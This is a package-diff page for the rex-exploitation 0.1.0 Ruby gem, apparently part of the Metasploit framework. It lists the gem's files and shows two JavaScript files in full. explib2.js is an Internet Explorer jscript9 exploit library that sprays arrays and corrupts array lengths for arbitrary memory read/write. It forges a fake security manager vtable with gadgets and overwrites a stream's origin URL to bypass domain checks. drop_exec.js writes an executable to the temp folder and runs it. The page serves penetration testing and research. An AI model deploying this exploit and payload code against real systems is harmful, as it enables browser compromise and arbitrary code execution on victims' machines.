rex-exploitation 0.1.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (69) hide show
  1. checksums.yaml +7 -0
  2. checksums.yaml.gz.sig +0 -0
  3. data.tar.gz.sig +1 -0
  4. data/.gitignore +9 -0
  5. data/.rspec +2 -0
  6. data/.travis.yml +5 -0
  7. data/CODE_OF_CONDUCT.md +74 -0
  8. data/Gemfile +4 -0
  9. data/README.md +33 -0
  10. data/Rakefile +6 -0
  11. data/bin/console +14 -0
  12. data/bin/setup +8 -0
  13. data/data/exploits/cmdstager/debug_asm +91 -0
  14. data/data/exploits/cmdstager/debug_write +819 -0
  15. data/data/exploits/cmdstager/vbs_b64 +40 -0
  16. data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
  17. data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
  18. data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
  19. data/data/js/detect/ie_addons.js +89 -0
  20. data/data/js/detect/misc_addons.js +157 -0
  21. data/data/js/detect/os.js +831 -0
  22. data/data/js/memory/explib2/lib/explib2.js +426 -0
  23. data/data/js/memory/explib2/payload/drop_exec.js +33 -0
  24. data/data/js/memory/explib2/payload/exec.js +10 -0
  25. data/data/js/memory/heap_spray.js +17 -0
  26. data/data/js/memory/heaplib2.js +192 -0
  27. data/data/js/memory/mstime_malloc.js +31 -0
  28. data/data/js/memory/property_spray.js +38 -0
  29. data/data/js/network/ajax_download.js +18 -0
  30. data/data/js/network/ajax_post.js +18 -0
  31. data/data/js/network/xhr_shim.js +15 -0
  32. data/data/js/utils/base64.js +126 -0
  33. data/data/ropdb/flash.xml +80 -0
  34. data/data/ropdb/hxds.xml +66 -0
  35. data/data/ropdb/java.xml +33 -0
  36. data/data/ropdb/msvcrt.xml +71 -0
  37. data/data/ropdb/reader.xml +132 -0
  38. data/data/ropdb/samba.xml +436 -0
  39. data/data/ropdb/stagefright.xml +225 -0
  40. data/lib/rex/exploitation.rb +7 -0
  41. data/lib/rex/exploitation/cmdstager.rb +11 -0
  42. data/lib/rex/exploitation/cmdstager/base.rb +189 -0
  43. data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
  44. data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
  45. data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
  46. data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
  47. data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
  48. data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
  49. data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
  50. data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
  51. data/lib/rex/exploitation/egghunter.rb +423 -0
  52. data/lib/rex/exploitation/encryptjs.rb +79 -0
  53. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  54. data/lib/rex/exploitation/heaplib.rb +107 -0
  55. data/lib/rex/exploitation/js.rb +6 -0
  56. data/lib/rex/exploitation/js/detect.rb +70 -0
  57. data/lib/rex/exploitation/js/memory.rb +80 -0
  58. data/lib/rex/exploitation/js/network.rb +83 -0
  59. data/lib/rex/exploitation/js/utils.rb +32 -0
  60. data/lib/rex/exploitation/jsobfu.rb +17 -0
  61. data/lib/rex/exploitation/obfuscatejs.rb +336 -0
  62. data/lib/rex/exploitation/omelet.rb +321 -0
  63. data/lib/rex/exploitation/opcodedb.rb +819 -0
  64. data/lib/rex/exploitation/ropdb.rb +190 -0
  65. data/lib/rex/exploitation/seh.rb +93 -0
  66. data/lib/rex/exploitation/version.rb +5 -0
  67. data/rex-exploitation.gemspec +35 -0
  68. metadata +298 -0
  69. metadata.gz.sig +0 -0
@@ -0,0 +1,426 @@
1
+
2
+
3
+ ExpLib = (function() {
4
+
5
+ function ExpLib( num_arrays, arr_size, base, payload ) {
6
+ this.arr1 = null;
7
+ this.arr2 = null;
8
+ this.base = base;
9
+ this.arr_size = arr_size;
10
+ this.arr_arr = null;
11
+ // Allows to control the contents of the sprayed memory.
12
+ // Have into account some array positions will be corrupted
13
+ // while leaking and modifying things.
14
+ this.arr_contents = [];
15
+
16
+ this.payload = payload;
17
+ this.modules = {}
18
+ this.getproc = null;
19
+ this.loadlibrary = null;
20
+
21
+ // Offset to the Origin URL in the Stream, modifying it
22
+ // allows to bypass msado15.SecurityCheck(), allowing
23
+ // for example to write stream contents to filesystem.
24
+ this.stream_origin = 0x44;
25
+ }
26
+
27
+ ExpLib.prototype.resolveAPI = function( modulename, procname ) {
28
+ var module = this.resolveModule( modulename );
29
+
30
+ return this.callAPI( this.getproc, module, this.allocateString(procname) );
31
+ }
32
+
33
+ ExpLib.prototype.resolveModule = function( modulename ) {
34
+ if ( this.modules[modulename] )
35
+ return this.modules[modulename];
36
+
37
+ var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) );
38
+ this.modules[modulename] = module;
39
+ return module;
40
+ }
41
+
42
+ ExpLib.prototype.spray = function() {
43
+ this.arr_arr = new Array( num_arrays );
44
+
45
+ var decl = "[";
46
+
47
+ for ( var i = 0; i < this.arr_size - 1; ++ i ) {
48
+ decl += '0,';
49
+ }
50
+
51
+ decl += '0';
52
+ decl += ']';
53
+
54
+ for ( var i = 0; i < num_arrays; ++ i ) {
55
+ this.arr_arr[i] = eval(decl);
56
+ for(var j = 0; j < this.arr_contents.length; j++) {
57
+ this.arr_arr[i][j] = this.arr_contents[j];
58
+ }
59
+ }
60
+
61
+ }
62
+
63
+ // Should be used before calling spray()
64
+ ExpLib.prototype.setArrContents = function(contents) {
65
+ for(var i = 0; i < this.arr_size && i < contents.length; i++) {
66
+ this.arr_contents[i] = contents[i];
67
+ }
68
+ }
69
+
70
+ ExpLib.prototype.setValue = function(i1, i2, v) {
71
+ this.arr_arr[i1][i2] = v;
72
+ }
73
+
74
+
75
+ ExpLib.prototype.setValueByAddr = function(index, addr, v) {
76
+ this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v;
77
+ }
78
+
79
+ ExpLib.prototype.read32 = function(addr) {
80
+ if ( addr % 4 ) {
81
+ // error
82
+ }
83
+
84
+ if ( addr >= this.arr2_member_base ) {
85
+ return this.arr2[(addr - this.arr2_member_base)/4];
86
+ } else {
87
+ return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4]
88
+ }
89
+ }
90
+
91
+ ExpLib.prototype.write32 = function(addr, value) {
92
+ if ( addr % 4 ) {
93
+ // error
94
+ }
95
+
96
+ if ( value >= 0x80000000 )
97
+ value = -(0x100000000 - value);
98
+
99
+ //alert(((addr - this.arr2_member_base)/4).toString(16));
100
+ if ( addr >= this.arr2_member_base ) {
101
+ this.arr2[(addr - this.arr2_member_base)/4] = value;
102
+ } else {
103
+ this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value;
104
+ }
105
+ }
106
+
107
+ ExpLib.prototype.read8 = function(addr) {
108
+ var value = this.read32( addr & 0xfffffffc );
109
+ switch ( addr % 4 ) {
110
+ case 0: return (value & 0xff);
111
+ case 1: return ((value >> 8) & 0xff);
112
+ case 2: return ((value >> 16) & 0xff);
113
+ case 3: return ((value >> 24) & 0xff);
114
+ }
115
+
116
+ return 0;
117
+ }
118
+
119
+ ExpLib.prototype.write8 = function(addr, value) {
120
+ var original_value = this.read32( addr & 0xfffffffc );
121
+ var new_value;
122
+
123
+ switch ( addr % 4 ) {
124
+ case 0:
125
+ new_value = (original_value & 0xffffff00) | (value & 0xff);
126
+ break;
127
+
128
+ case 1:
129
+ new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8);
130
+ break;
131
+ case 2:
132
+ new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16);
133
+ break;
134
+ case 3:
135
+ new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24);
136
+ break;
137
+ }
138
+
139
+
140
+ this.write32( addr & 0xfffffffc, new_value );
141
+ }
142
+
143
+
144
+ ExpLib.prototype.writeBytes = function(addr, bytes) {
145
+ for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
146
+ var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
147
+ ((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
148
+
149
+ this.write32( addr + i, value );
150
+ }
151
+
152
+ for ( ; i < bytes.length; ++ i ) {
153
+ this.write8( addr + i, bytes[i] );
154
+ }
155
+ }
156
+
157
+ ExpLib.prototype.writeString = function(addr, s) {
158
+ var bytes = [];
159
+ var i = 0;
160
+ for ( ; i < s.length; ++ i ) {
161
+ bytes[i] = s.charCodeAt(i);
162
+ }
163
+
164
+ bytes[i] = 0;
165
+
166
+ this.writeBytes( addr, bytes );
167
+ }
168
+
169
+ ExpLib.prototype.writeStringW = function(addr, s) {
170
+ var bytes = [];
171
+ var i = 0;
172
+ for ( ; i < s.length; ++i ) {
173
+ bytes[i * 2] = s.charCodeAt(i);
174
+ bytes[i * 2 + 1] = 0;
175
+ }
176
+
177
+ bytes[s.length * 2] = 0;
178
+ bytes[s.length * 2 + 1] = 0;
179
+
180
+ this.writeBytes( addr, bytes );
181
+ }
182
+
183
+ ExpLib.prototype.read16 = function(addr) {
184
+ if ( addr % 2 ) {
185
+ // error, not aligned
186
+ }
187
+
188
+ var value = this.read32( addr & 0xfffffffc );
189
+ switch ( addr % 4 ) {
190
+ case 0: return (value & 0xffff);
191
+ case 1: return ((value >> 8) & 0xffff);
192
+ case 2: return ((value >> 16) & 0xffff);
193
+ case 3: /*not supported*/ break;
194
+ }
195
+
196
+ return 0;
197
+ }
198
+
199
+ ExpLib.prototype.strequal = function(addr, s) {
200
+ for ( var i = 0; i < s.length; ++ i ) {
201
+ if ( this.read8(addr + i) != s.charCodeAt(i) )
202
+ return false;
203
+ }
204
+
205
+ return true;
206
+ }
207
+
208
+
209
+ ExpLib.prototype.getModuleBase = function(addr) {
210
+
211
+ var cur_addr = addr;
212
+
213
+ while ( cur_addr > 0 ) {
214
+
215
+ if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) {
216
+ return cur_addr;
217
+ }
218
+
219
+ cur_addr -= 0x10000;
220
+ }
221
+
222
+ return 0;
223
+ }
224
+
225
+
226
+
227
+ ExpLib.prototype.getModuleBaseFromIAT = function(base, name) {
228
+ var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 );
229
+ var cur_table = import_table;
230
+
231
+ while ( cur_table < import_table + 0x1000 ) {
232
+
233
+ var name_addr = base + this.read32(cur_table + 12);
234
+ if ( this.strequal( name_addr, name ) ) {
235
+ var iat = base + this.read32(cur_table + 16);
236
+ var func = this.read32(iat);
237
+ while ( 0 == func ) {
238
+ iat += 4;
239
+ func = this.read32(iat);
240
+ }
241
+
242
+ return this.getModuleBase( func & 0xFFFF0000 );
243
+
244
+ }
245
+
246
+ cur_table += 20;
247
+ }
248
+
249
+ return 0;
250
+ }
251
+
252
+ ExpLib.prototype.getProcAddress = function(base, procname) {
253
+ var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 );
254
+ var num_functions = this.read32( export_table + 20 );
255
+ var addr_functions = base + this.read32( export_table + 28 );
256
+ var addr_names = base + this.read32( export_table + 32 );
257
+ var addr_ordinals = base + this.read32( export_table + 36 );
258
+
259
+ for ( var i = 0; i < num_functions; ++ i ) {
260
+ var name_addr = this.read32( addr_names + i * 4 ) + base;
261
+ if ( this.strequal( name_addr, procname ) ) {
262
+ var ordinal = this.read16( addr_ordinals + i * 2 );
263
+ var result = this.read32( addr_functions + ordinal * 4 ) + base;
264
+ return result;
265
+ }
266
+ }
267
+
268
+ return 0;
269
+ }
270
+
271
+ ExpLib.prototype.searchBytes = function(pattern, start, end) {
272
+
273
+ if ( start >= end || start + pattern.length > end )
274
+ return 0;
275
+
276
+ var pos = start;
277
+ while ( pos < end ) {
278
+ for ( var i = 0; i < pattern.length; ++ i ) {
279
+ if ( this.read8(pos + i) != pattern[i] )
280
+ break;
281
+ }
282
+
283
+ if ( i == pattern.length ) {
284
+ return pos;
285
+ }
286
+
287
+ ++ pos;
288
+ }
289
+
290
+ return 0;
291
+ }
292
+
293
+
294
+ ExpLib.prototype.getError = function(msg) {
295
+ return this.err_msg;
296
+ }
297
+
298
+ ExpLib.prototype.setError = function(msg) {
299
+ this.err_msg = msg;
300
+ }
301
+
302
+ ExpLib.prototype.setStreamOrigin = function(offset) {
303
+ this.stream_origin = offset;
304
+ }
305
+
306
+ ExpLib.prototype.getStreamOrigin = function() {
307
+ return this.stream_origin;
308
+ }
309
+
310
+ ExpLib.prototype.memcpy = function(dst, src, size) {
311
+ var i = 0;
312
+ for ( ; i < size - 4; i += 4 ) {
313
+ this.write32( dst + i, this.read32(src + i) );
314
+ }
315
+
316
+ for ( ; i < size; ++ i ) {
317
+ this.write8( dst + i, this.read8(src + i) );
318
+ }
319
+ }
320
+
321
+ ExpLib.prototype.go = function() {
322
+
323
+ var i = 0;
324
+
325
+
326
+
327
+ for ( ; i < this.arr_arr.length - 1; ++ i ) {
328
+ this.arr_arr[i][this.arr_size + 0x1c / 4] = 0;
329
+
330
+ if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) {
331
+ this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff;
332
+ this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff;
333
+
334
+ this.arr_arr[i + 1].length = 0x3fffffff;
335
+
336
+ if ( this.arr_arr[i+1].length == 0x3fffffff ) {
337
+ break;
338
+ }
339
+ }
340
+
341
+ }
342
+
343
+ if ( i >= this.arr_arr.length - 1 ) {
344
+ this.setError( "Cannot find array with corrupt length!" );
345
+ return false;
346
+ }
347
+
348
+ this.arr1_idx = i;
349
+ this.arr2_idx = i + 1;
350
+
351
+ this.arr1 = this.arr_arr[i];
352
+ this.arr2 = this.arr_arr[i + 1];
353
+
354
+ this.arr2_base = this.base + 0x1000;
355
+ this.arr2_member_base = this.arr2_base + 0x20;
356
+
357
+ var func_addr = this.leakAddress(ActiveXObject);
358
+ var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4);
359
+
360
+ //alert(script_engine_addr.toString(16));
361
+
362
+ var original_securitymanager = this.read32( script_engine_addr + 0x21c );
363
+ if ( !original_securitymanager ) {
364
+ // let security manager to be valid
365
+ try {
366
+ var WshShell = new ActiveXObject("WScript.shell");
367
+ } catch (e) {}
368
+
369
+ original_securitymanager = this.read32( script_engine_addr + 0x21c );
370
+ }
371
+
372
+ var original_securitymanager_vtable = this.read32(original_securitymanager);
373
+ var securitymanager_size = 0x28;
374
+ var fake_securitymanager = 0x1a1b2010;
375
+ var fake_securitymanager_vtable = fake_securitymanager + 0x28;
376
+ //alert(original_securitymanager.toString(16));
377
+
378
+ this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size );
379
+ this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 );
380
+ this.write32( fake_securitymanager, fake_securitymanager_vtable );
381
+ this.write32(script_engine_addr + 0x21c, fake_securitymanager);
382
+
383
+ var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 );
384
+ var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104);
385
+ var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108);
386
+
387
+
388
+ this.write32( fake_securitymanager_vtable + 0x14,
389
+ this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */
390
+
391
+ this.write32( fake_securitymanager_vtable + 0x10,
392
+ this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */
393
+
394
+ this.payload.execute(this);
395
+
396
+
397
+ /*
398
+ * restore
399
+ */
400
+
401
+ this.write32( script_engine_addr + 0x21c, original_securitymanager );
402
+
403
+ return true;
404
+
405
+ }
406
+
407
+ ExpLib.prototype.leakAddress = function(obj) {
408
+ this.arr_arr[this.arr2_idx + 1][2] = obj;
409
+ return this.read32(this.arr2_member_base + 0x1008);
410
+ }
411
+
412
+ ExpLib.prototype.switchStreamOrigin = function(stream) {
413
+ var obj = this.leakAddress(stream);
414
+ var stream_obj = this.read32(obj + 0x30);
415
+ //var url_addr = this.read32(stream_obj + 0x3c);
416
+ var url_addr = this.read32(stream_obj + this.stream_origin);
417
+
418
+ /*
419
+ * bypass domain check
420
+ */
421
+ this.writeStringW( url_addr, 'file:///C:/1.htm' );
422
+ }
423
+
424
+ return ExpLib;
425
+
426
+ })();
@@ -0,0 +1,33 @@
1
+ function payload_drop_exec(pe) {
2
+
3
+ this.execute = function(explib) {
4
+
5
+ var WshShell = new ActiveXObject("WScript.shell");
6
+ var temp = WshShell.ExpandEnvironmentStrings("%TEMP%");
7
+ var filename = temp + "\\a.exe";
8
+
9
+ var bStream = new ActiveXObject("ADODB.Stream");
10
+ var txtStream = new ActiveXObject("ADODB.Stream");
11
+ bStream.Type = 1;
12
+ txtStream.Type = 2;
13
+
14
+ bStream.Open();
15
+ txtStream.Open();
16
+
17
+ explib.switchStreamOrigin(txtStream);
18
+
19
+ txtStream.WriteText(pe);
20
+ txtStream.Position = 2;
21
+ txtStream.CopyTo( bStream );
22
+ txtStream.Close();
23
+
24
+ explib.switchStreamOrigin(bStream);
25
+
26
+ bStream.SaveToFile(filename, 2);
27
+ bStream.Close();
28
+
29
+ oExec = WshShell.Exec(filename);
30
+ }
31
+
32
+ return this;
33
+ }